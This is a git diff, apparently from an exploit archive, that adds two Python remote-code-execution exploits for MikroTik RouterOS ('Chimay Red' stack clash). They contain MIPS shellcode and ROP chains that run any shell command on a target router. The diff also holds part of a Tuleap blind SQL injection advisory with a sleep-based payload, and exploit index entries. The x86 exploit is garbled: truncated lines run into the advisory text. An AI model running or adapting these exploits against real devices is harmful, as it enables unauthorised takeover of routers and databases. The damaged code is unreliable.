@@ -0,0 +1,263 @@
+#!/usr/bin/env python3
+
+# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95
+
+# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]
+
+# Used tools: pwndbg, rasm2, mipsrop for IDA
+# I used ropper only to automatically find gadgets
+
+# ASLR enabled on libs only
+# DEP NOT enabled
+
+import socket, time, sys, struct, re
+from ropper import RopperService
+
+AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
+ROS_STACKSIZE =  0x20000 # newer version of ROS have a different stack size per thread (128 KB)
+SKIP_SPACE    =   0x1000 # 4 KB of "safe" space for the stack of thread 2
+ROP_SPACE     =   0x8000 # we can send 32 KB of ROP chain!
+
+ALIGN_SIZE    = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
+ADDRESS_SIZE  =  0x4 # we need to overwrite a return address to start the ROP chain
+
+class MyRopper():
+    def __init__(self, filename):
+        self.rs = RopperService()
+        
+        self.rs.clearCache()
+        self.rs.addFile(filename)
+        self.rs.loadGadgetsFor()
+        
+        self.rs.options.inst_count = 10
+        self.rs.loadGadgetsFor()
+        self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets
+
+    def get_gadgets(self, regex):
+        gadgets = []
+        for _, g in self.rs.search(search=regex):
+            gadgets.append(g)
+
+        if len(gadgets) > 0:
+            return gadgets
+        else:
+            raise Exception("Cannot find gadgets!")
+
+    def contains_string(self, string):
+        s = self.rs.searchString(string)
+        t = [a for a in s.values()][0]
+        return len(t) > 0
+
+    def get_arch(self):
+        return self.rs.files[0].arch._name
+
+    @staticmethod
+    def get_ra_offset(gadget):
+        """
+            Return the offset of next Retun Address on the stack
+            So you know how many bytes to put before next gadget address
+            Eg: 
+                lw $ra, 0xAB ($sp)   --> return: 0xAB
+        """
+        for line in gadget.lines:
+            offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1])
+            if offset_len:
+                return int(offset_len[0], 16)
+        raise Exception("Cannot find $ra offset in this gadget!")
+
+def makeHeader(num):
+    return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
+
+def makeSocket(ip, port):
+    s = socket.socket()
+    try:
+        s.connect((ip, port))
+    except:
+        print("Error connecting to socket")
+        sys.exit(-1)
+    print("Connected")
+    time.sleep(0.5)
+    return s
+
+def socketSend(s, data):
+    try:
+        s.send(data)
+    except:
+        print("Error sending data")
+        sys.exit(-1)
+    print("Sent")
+    time.sleep(0.5)
+
+def build_shellcode(shellCmd):
+    shell_code = b''
+    shellCmd = bytes(shellCmd, "ascii")
+    
+    # Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL]
+    # XX XX XX XX  <-- here the shell code will write the address of string "/bin/bash"                           [shellcode_start_address -16]             <--- argv_array        
+    # XX XX XX XX  <-- here the shell code will write the address of string "-c"                                  [shellcode_start_address -12]
+    # XX XX XX XX  <-- here the shell code will write the address of string "shellCmd"                            [shellcode_start_address  -8]
+    # XX XX XX XX  <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array)    [shellcode_start_address  -4]             <--- envp_array        
+    
+    # The shell code execution starts here!
+    shell_code += struct.pack('>L', 0x24500000)    # addiu s0, v0, 0           # s0 = v0                                                Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly]) 
+    shell_code += struct.pack('>L', 0x24020fa2)    # addiu v0, zero, 0xfa2     # v0 = 4002 (fork)                                       Put the syscall number of fork (4002) in v0
+    shell_code += struct.pack('>L', 0x0000000c)    # syscall                   # launch syscall                                         Start fork()
+    shell_code += struct.pack('>L', 0x10400003)    # beqz v0, 0x10             # jump 12 byte forward if v0 == 0                        Jump to execve part of the shellcode if PID is 0
+    
+    # if v0 != 0 [res of fork()]
+    shell_code += struct.pack('>L', 0x24020001)    # addiu v0, zero, 1         # a0 = 1                                                 Put exit parameter in a0
+    shell_code += struct.pack('>L', 0x24020fa1)    # addiu v0, zero, 0xfa1     # v0 = 4001 (exit)                                       Put the syscall number of exit (4002) in v0
+    shell_code += struct.pack('>L', 0x0000000c)	   # syscall                   # launch syscall                                         Start exit(1)
+
+    # if v0 == 0 [res of fork()]
+    shell_code += struct.pack('>L', 0x26040050)    # addiu a0, s0, 0x50        # a0 = shellcode_start_address + 0x50                    Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve) 
+    shell_code += struct.pack('>L', 0xae04fff0)    # sw a0, -16(s0)            # shellcode_start_address[-16] = bin_bash_address        Write in the first entry of the "argv" array the address of the string "/bin/bash" 
+    shell_code += struct.pack('>L', 0x26110060)    # addiu s1, s0, 0x60        # s1 = shellcode_start_address + 0x60                    Calculate the address of string "-c" and put it in s1 
+    shell_code += struct.pack('>L', 0xae11fff4)    # sw s1, -12(s0)            # shellcode_start_address[-12] = c_address               Write in the second entry of the "argv" array the address of the string "-c" 
+    shell_code += struct.pack('>L', 0x26110070)    # addiu s1, s0, 0x70        # s1 = shellcode_start_address + 0x70                    Calculate the address of string "shellCmd" and put it in s1  
+    shell_code += struct.pack('>L', 0xae11fff8)    # sw s1, -8(s0)             # shellcode_start_address[-8]  = shellCmd_address        Write in the third entry of the "argv" array the address of the string "shellCmd" 
+    shell_code += struct.pack('>L', 0xae00fffc)    # sw zero, -4(s0)           # shellcode_start_address[-4]  = 0x00                    Write NULL address as end of argv_array and envp_array
+    shell_code += struct.pack('>L', 0x2205fff0)    # addi a1, s0, -16          # a1 = shellcode_start_address - 16                      Put the address of argv_array in a1 (the second parameter of execve)
+    shell_code += struct.pack('>L', 0x2206fffc)    # addi a2, s0, -4           # a2 = shellcode_start_address - 4                       Put the address of envp_array in a2 (the third parameter of execve)
+    shell_code += struct.pack('>L', 0x24020fab)    # addiu v0, zero, 0xfab     # v0 = 4011 (execve)                                     Put the syscall number of execve (4011) in v0   (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h)
+    shell_code += struct.pack('>L', 0x0000000c)    # syscall                   # launch syscall                                         Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL])
+
+    shell_code += b'P' * (0x50 - len(shell_code))   # offset to simplify string address calculation  
+    shell_code += b'/bin/bash\x00'                           # (Warning: do not exceed 16 bytes!)                 [shellcode_start + 0x50]                 <--- bin_bash_address
+    
+    shell_code += b'P' * (0x60 - len(shell_code))   # offset to simplify string address calculation
+    shell_code += b'-c\x00'                                  # (Warning: do not exceed 16 bytes!)                 [shellcode_start + 0x60]                 <--- c_address
+    
+    shell_code += b'P' * (0x70 - len(shell_code))   # offset to simplify string address calculation
+    shell_code += shellCmd + b'\x00'                         #                                                    [shellcode_start + 0x70]                 <--- shellCmd_address
+
+    return shell_code
+
+def build_payload(binRop, shellCmd):
+    print("Building shellcode + ROP chain...")
+
+    ropChain = b''
+    shell_code = build_shellcode(shellCmd)
+    
+    # 1) Stack finder gadget (to make stack pivot) 
+    stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0]
+    """
+    0x0040ae04:                     (ROS 6.38.4)
+        addiu $a0, $sp, 0x18   <--- needed action
+        lw $ra, 0x5fc($sp)     <--- jump control   [0x5fc, a lot of space for the shellcode!]
+        lw $s3, 0x5f8($sp)
+        lw $s2, 0x5f4($sp)
+        lw $s1, 0x5f0($sp)
+        lw $s0, 0x5ec($sp)
+        move $v0, $zero
+        jr $ra
+    """
+    ropChain += struct.pack('>L', stack_finder.address)
+    #                                            Action: addiu  $a0, $sp, 0x600 + var_5E8                      # a0 = stackpointer + 0x18
+    #                                            Control Jump:  jr    0x600 + var_4($sp) 
+    # This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain 
+    # to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
+    ropChain += b'B' * 0x18  # 0x600 - 0x5E8 = 0x18           (in the last 16 bytes of this offset the shell code will write the arguments for execve)
+    ropChain += shell_code   # write the shell code in this "big" offset
+
+    next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code)
+    if next_gadget_offset < 0: # check if shell command fits inside this big offset
+        raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes")
+
+    ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp)
+
+
+
+    # 2) Copy a0 in v0 because of next gadget
+    mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0]
+    """
+    0x00414E58:                    (ROS 6.38.4)
+        lw $ra, 0x24($sp);    <--- jump control
+        lw $s2, 0x20($sp); 
+        lw $s1, 0x1c($sp); 
+        lw $s0, 0x18($sp); 
+        move $v0, $a0;        <--- needed action
+        jr $ra;
+    """
+    ropChain += struct.pack('>L', mov_v0_a0.address) 
+    #                                           Gadget Action:   move $v0, $a0                                 # v0 = a0
+    #                                           Gadget Control:  jr  0x28 + var_4($sp) 
+    ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp) 
+
+
+
+    # 3) Jump to the stack (start shell code)
+    jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0]
+    """
+    0x00412540:                   (ROS 6.38.4)
+        move $t9, $v0;       <--- jump control
+        jalr $t9;            <--- needed action
+    """
+    ropChain += struct.pack('>L', jump_v0.address)
+    #                                           Gadget Action:   jalr $t9                                      # jump v0
+    #                                           Gadget Control:  jalr  $v0    
+
+    return ropChain
+
+def stackClash(ip, port, payload):
+
+    print("Opening 2 sockets")
+
+    # 1) Start 2 threads
+    # open 2 socket so 2 threads are created
+    s1 = makeSocket(ip, port) # socket 1, thread A
+    s2 = makeSocket(ip, port) # socket 2, thread B
+
+    print("Stack clash...")
+
+    # 2) Stack Clash
+    # 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
+    socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
+
+    # 2.2) send some bytes as post data to socket 1 (thread A)
+    socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
+
+    # 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
+    socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
+
+    print("Sending payload")
+
+    # 3) Send ROP chain and shell code
+    socketSend(s1, payload)
+
+    print("Starting exploit")
+
+    # 4) Start ROP chain
+    s2.close() # close socket 2 to return from the function of thread B and start ROP chain
+
+    print("Done!")
+
+def crash(ip, port):
+    print("Crash...")
+    s = makeSocket(ip, port)
+    socketSend(s, makeHeader(-1))
+    socketSend(s, b'A' * 0x1000)
+    s.close()
+    time.sleep(2.5) # www takes up to 3 seconds to restart
+
+if __name__ == "__main__":
+    if len(sys.argv) == 5:
+        ip       = sys.argv[1]
+        port     = int(sys.argv[2])
+        binary   = sys.argv[3]
+        shellCmd = sys.argv[4]
+
+        binRop = MyRopper(binary)
+
+        if binRop.get_arch() != 'MIPSBE':
+            raise Exception("Wrong architecture! You have to pass a mipsbe executable")
+
+        if binRop.contains_string("pthread_attr_setstacksize"):
+            AST_STACKSIZE = ROS_STACKSIZE
+
+        payload = build_payload(binRop, shellCmd)
+
+        crash(ip, port) # should make stack clash more reliable
+        stackClash(ip, port, payload)
+    else:
+        print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")
\ No newline at end of file
diff --git a/exploits/hardware/remote/44284.py b/exploits/hardware/remote/44284.py
new file mode 100755
index 000000000..3de761bb2
--- /dev/null
+++ b/exploits/hardware/remote/44284.py
@@ -0,0 +1,251 @@
+#!/usr/bin/env python2
+
+# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
+
+# tested on RouterOS 6.38.4 (x86)
+
+# ASLR enabled on libs only
+# DEP enabled
+
+import socket, time, sys, struct
+from pwn import *
+import ropgadget
+
+AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
+ROS_STACKSIZE =  0x20000 # newer version of ROS have a different stack size per thread (128 KB)
+SKIP_SPACE    =   0x1000 # 4 KB of "safe" space for the stack of thread 2
+ROP_SPACE     =   0x8000 # we can send 32 KB of ROP chain!
+
+ALIGN_SIZE    = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
+ADDRESS_SIZE  =  0x4 # we need to overwrite a return address to start the ROP chain
+
+context(arch="i386", os="linux", log_level="WARNING")
+
+gadgets = dict()
+plt = dict()
+strings = dict()
+system_chunks = []
+cmd_chunks = []
+
+def makeHeader(num):
+    return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
+
+def makeSocket(ip, port):
+    s = socket.socket()
+    try:
+        s.connect((ip, port))
+    except:
+        print("Error connecting to socket")
+        sys.exit(-1)
+    print("Connected")
+    time.sleep(0.5)
+    return s
+
+def socketSend(s, data):
+    try:
+        s.send(data)
+    except:
+        print("Error sending data")
+        sys.exit(-1)
+    print("Sent")
+    time.sleep(0.5)
+
+def ropCall(function_address, *arguments):
+
+    payload = struct.pack(' 0:
+
+        if num_arg == 1:
+            ret_gadget = gadgets['p']
+        elif num_arg == 2:
+            ret_gadget = gadgets['pp']
+        elif num_arg == 3:
+            ret_gadget = gadgets['ppp']
+        elif num_arg == 4:
+            ret_gadget = gadgets['pppp']
+        else:
+            raise
+
+        payload += struct.pack(' 0:
+        global AST_STACKSIZE
+        AST_STACKSIZE = ROS_STACKSIZE     
+
+    # www PLT symbols
+    plt["strncpy"] = elf.plt['strncpy']
+    plt["dlsym"]   = elf.plt['dlsym']
+
+    # Gadgets to clean the stack from arguments
+    gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
+    gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
+    gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
+    gadgets['p'] = rop.search(regs=["ebp"]).address
+
+    # Gadget to jump on the result of dlsym (address of system)
+    gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
+
+    system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
+    cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
+
+    # get the address of the first writable segment to store strings
+    writable_address = elf.writable_segments[0].header.p_paddr
+
+    strings['system'] = writable_address
+    strings['cmd']    = writable_address + 0xf
+
+def generateStrncpyChain(dst, chunks):
+    chain = ""
+    offset = 0
+    for (address, length) in chunks:
+        chain += ropCall(plt["strncpy"], dst + offset, address, length)
+        offset += length
+
+    return chain
+
+# only search for single chars
+def searchStringChunksLazy(elf, string):
+    chunks = []
+    for b in string:
+        res = [_ for _ in elf.search(b)]
+        if len(res) > 0:
+            chunks.append((res[0], 1))
+        else:
+            raise
+
+    if len(string) != len(chunks):
+        raise
+
+    return chunks
+
+# [bugged, some problem with dots, not used]
+# search chunks of string
+def searchStringChunks(elf, string):
+    chunks = []
+    total = len(string)
+
+    if string == "":
+        raise
+
+    looking = string
+
+    while string != "":
+        results = [_ for _ in elf.search(looking)]
+
+        if len(results) > 0:
+            chunks.append((results[0], len(looking)))
+            string = string[len(looking):]
+            looking = string
+        else:   # search failed
+            looking = looking[:-1] # search again removing last char
+
+    check_length = 0
+    for (address, length) in chunks:
+        check_length = check_length + length
+
+    if check_length == total:
+        return chunks
+    else:
+        raise
+
+def buildROP(binary, shellCmd):
+    loadOffsets(binary, shellCmd)
+
+    # ROP chain
+    exploit  = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
+    exploit += generateStrncpyChain(strings['cmd'], cmd_chunks)       # w_segment = "bash cmd"
+    exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
+    exploit += ropCall(gadgets['jeax'], strings['cmd'])    # system("cmd")
+
+    # The server is automatically restarted after 3 secs, so we make it crash with a random address
+    exploit += struct.pack(''
+  https://192.168.137.130/plugins/tracker/?tracker=16
+
+[OUTPUT TRUNCATED]
+            
+
+real    0m3.117s
+user    0m0.033s
+sys     0m0.021s
+
+# cat sql.txt
+report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
+&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
+&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
+&additional_criteria%5Bcomment%5D=&tracker_query_submit=
+-------------------------------------------------------------------------------
+A copy of the report with technical details about the vulnerability I have
+identified is available at:
+https://github.com/cmaruti/reports/blob/master/tuleap.pdf
+
+[VULNERABILITY REFERENCE]
+
+The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538
+
+[DISCLOSURE TIMELINE]
+
+2018-02-26     Vulnerability submitted to vendor through e-mail.
+Vendor requested
+more info and acknowledged the problem later.
+2018-02-27    Researcher requested to allocate a CVE number.
+2018-02-27    Vendor released a fix for the reported issue.
+2018-03-08    Researcher requested to publicly disclose the issue; public
+coordinated disclosure.
+
+[SOLUTION]
+
+Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
+Please see the below link for further information released by the vendor:
+- https://tuleap.net/plugins/tracker/?aid=11192
+
+[REPORT URL]
+
+https://github.com/cmaruti/reports/blob/master/tuleap.pdf
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 62197a5f9..30a1fc024 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -9588,6 +9588,7 @@ id,file,description,date,author,type,platform,port
 44269,exploits/windows/local/44269.txt,"Chrome 35.0.1916.153 - Sandbox Escape / Command Execution",2017-10-14,649,local,windows,
 44270,exploits/windows/local/44270.txt,"WebLog Expert Enterprise 9.4 - Authentication Bypass",2018-03-09,hyp3rlinx,local,windows,
 44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
+44282,exploits/hardware/local/44282.txt,"Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)",2018-03-10,qwertyoruiop,local,hardware,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -10596,7 +10597,7 @@ id,file,description,date,author,type,platform,port
 6328,exploits/solaris/remote/6328.c,"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution",2008-08-29,Andi,remote,solaris,
 6334,exploits/windows/remote/6334.html,"Friendly Technologies - Read/Write Registry/Read Files",2008-08-30,spdr,remote,windows,
 6355,exploits/windows/remote/6355.txt,"Google Chrome 0.2.149.27 - Automatic File Download",2008-09-03,nerex,remote,windows,
-6366,exploits/hardware/remote/6366.c,"MicroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
+6366,exploits/hardware/remote/6366.c,"MikroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
 6367,exploits/windows/remote/6367.txt,"Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow",2008-09-05,SVRT,remote,windows,
 6387,exploits/windows/remote/6387.rb,"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)",2008-09-05,"Kevin Finisterre",remote,windows,2022
 6407,exploits/windows/remote/6407.c,"Microworld Mailscan 5.6.a - Password Reveal",2008-09-09,SlaYeR,remote,windows,
@@ -14294,7 +14295,7 @@ id,file,description,date,author,type,platform,port
 27630,exploits/linux/remote/27630.txt,"Plone 2.x - MembershipTool Access Control Bypass",2006-04-12,MJ0011,remote,linux,
 27636,exploits/multiple/remote/27636.txt,"Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
 27637,exploits/multiple/remote/27637.txt,"Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
-28056,exploits/hardware/remote/28056.txt,"Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
+28056,exploits/hardware/remote/28056.txt,"MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
 27703,exploits/windows/remote/27703.py,"PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow",2013-08-19,Polunchis,remote,windows,
 27704,exploits/windows/remote/27704.rb,"Cogent DataHub - HTTP Server Buffer Overflow (Metasploit)",2013-08-19,Metasploit,remote,windows,
 27705,exploits/multiple/remote/27705.rb,"Java - 'storeImageArray()' Invalid Array Indexing (Metasploit)",2013-08-19,Metasploit,remote,multiple,
@@ -16321,6 +16322,8 @@ id,file,description,date,author,type,platform,port
 44245,exploits/hardware/remote/44245.rb,"NETGEAR - 'TelnetEnable' Magic Packet (Metasploit)",2018-03-05,Metasploit,remote,hardware,23
 44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Unauthenticated Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,
 44280,exploits/multiple/remote/44280.rb,"Eclipse Equinoxe OSGi Console - Command Execution (Metasploit)",2018-03-12,Metasploit,remote,multiple,
+44283,exploits/hardware/remote/44283.py,"MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
+44284,exploits/hardware/remote/44284.py,"MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@@ -38995,3 +38998,5 @@ id,file,description,date,author,type,platform,port
 44277,exploits/php/webapps/44277.txt,"TextPattern 4.6.2 - 'qty' SQL Injection",2018-03-12,"Manuel García Cárdenas",webapps,php,
 44278,exploits/windows/webapps/44278.py,"Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution",2018-03-12,"Chris Lyne",webapps,windows,
 44281,exploits/windows/webapps/44281.txt,"ACL Analytics 11.X - 13.0.0.579 - Arbitrary Code Execution",2018-03-12,Clutchisback1,webapps,windows,
+44285,exploits/aspx/webapps/44285.txt,"SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities",2018-03-13,"SEC Consult",webapps,aspx,
+44286,exploits/php/webapps/44286.txt,"Tuleap 9.17.99.189 - Blind SQL Injection",2018-03-13,"Cristiano Maruti",webapps,php,